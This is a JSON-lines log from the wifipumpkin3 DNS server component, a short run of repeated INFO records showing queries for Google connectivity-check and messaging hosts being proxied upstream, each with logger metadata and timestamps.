{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.238935", "seconds": 25.238935}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.664748-03:00", "timestamp": 1584232911.664748}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.325318", "seconds": 25.325318}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.751131-03:00", "timestamp": 1584232911.751131}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.415559", "seconds": 25.415559}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.841372-03:00", "timestamp": 1584232911.841372}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.499018", "seconds": 25.499018}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.924831-03:00", "timestamp": 1584232911.924831}}}
{"text": "2020-03-14 at 21:41:51 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.547341", "seconds": 25.547341}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:51.973154-03:00", "timestamp": 1584232911.973154}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.591891", "seconds": 25.591891}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.017704-03:00", "timestamp": 1584232912.017704}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.615118", "seconds": 25.615118}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.040931-03:00", "timestamp": 1584232912.040931}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.641288", "seconds": 25.641288}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.067101-03:00", "timestamp": 1584232912.067101}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.742410", "seconds": 25.74241}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.168223-03:00", "timestamp": 1584232912.168223}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.815744", "seconds": 25.815744}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.241557-03:00", "timestamp": 1584232912.241557}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.826136", "seconds": 25.826136}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.251949-03:00", "timestamp": 1584232912.251949}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.894460", "seconds": 25.89446}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.320273-03:00", "timestamp": 1584232912.320273}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:25.932102", "seconds": 25.932102}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.357915-03:00", "timestamp": 1584232912.357915}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:26.097647", "seconds": 26.097647}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.523460-03:00", "timestamp": 1584232912.52346}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:26.277705", "seconds": 26.277705}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.703518-03:00", "timestamp": 1584232912.703518}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:26.366826", "seconds": 26.366826}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.792639-03:00", "timestamp": 1584232912.792639}}}
{"text": "2020-03-14 at 21:41:52 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:26.542277", "seconds": 26.542277}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:52.968090-03:00", "timestamp": 1584232912.96809}}}
{"text": "2020-03-14 at 21:41:53 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:26.718967", "seconds": 26.718967}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:53.144780-03:00", "timestamp": 1584232913.14478}}}
{"text": "2020-03-14 at 21:41:53 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:26.864254", "seconds": 26.864254}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:53.290067-03:00", "timestamp": 1584232913.290067}}}
{"text": "2020-03-14 at 21:41:53 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:27.051236", "seconds": 27.051236}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:53.477049-03:00", "timestamp": 1584232913.477049}}}
{"text": "2020-03-14 at 21:41:53 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:27.231926", "seconds": 27.231926}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:53.657739-03:00", "timestamp": 1584232913.657739}}}
{"text": "2020-03-14 at 21:41:53 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:27.431015", "seconds": 27.431015}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:53.856828-03:00", "timestamp": 1584232913.856828}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:27.602411", "seconds": 27.602411}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.028224-03:00", "timestamp": 1584232914.028224}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:27.758815", "seconds": 27.758815}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.184628-03:00", "timestamp": 1584232914.184628}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:27.906323", "seconds": 27.906323}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.332136-03:00", "timestamp": 1584232914.332136}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.015280", "seconds": 28.01528}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.441093-03:00", "timestamp": 1584232914.441093}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.076635", "seconds": 28.076635}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.502448-03:00", "timestamp": 1584232914.502448}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.110647", "seconds": 28.110647}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.536460-03:00", "timestamp": 1584232914.53646}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.205281", "seconds": 28.205281}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.631094-03:00", "timestamp": 1584232914.631094}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.323819", "seconds": 28.323819}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.749632-03:00", "timestamp": 1584232914.749632}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.398918", "seconds": 28.398918}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.824731-03:00", "timestamp": 1584232914.824731}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.479559", "seconds": 28.479559}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.905372-03:00", "timestamp": 1584232914.905372}}}
{"text": "2020-03-14 at 21:41:54 INFO - no local zone found, proxying www.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.559232", "seconds": 28.559232}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying www.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:54.985045-03:00", "timestamp": 1584232914.985045}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying connectivitycheck.gstatic.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.679608", "seconds": 28.679608}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying connectivitycheck.gstatic.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.105421-03:00", "timestamp": 1584232915.105421}}}
{"text": "2020-03-14 at 21:41:55 INFO - no local zone found, proxying mtalk.google.com.[A]\n", "record": {"elapsed": {"repr": "0:00:28.737311", "seconds": 28.737311}, "exception": null, "extra": {"dns": 144, "session": "None", "name": "pydns_server", "specific": true}, "file": {"name": "logger_manager.py", "path": "/usr/local/lib/python3.6/dist-packages/wifipumpkin3-1.0.0-py3.6.egg/wifipumpkin3/core/widgets/default/logger_manager.py"}, "function": "info", "level": {"icon": "\u2139\ufe0f", "name": "INFO", "no": 20}, "line": 133, "message": "no local zone found, proxying mtalk.google.com.[A]", "module": "logger_manager", "name": "wifipumpkin3.core.widgets.default.logger_manager", "process": {"id": 12971, "name": "MainProcess"}, "thread": {"id": 139916907984704, "name": "MainThread"}, "time": {"repr": "2020-03-14 21:41:55.163124-03:00", "timestamp": 1584232915.163124}}}
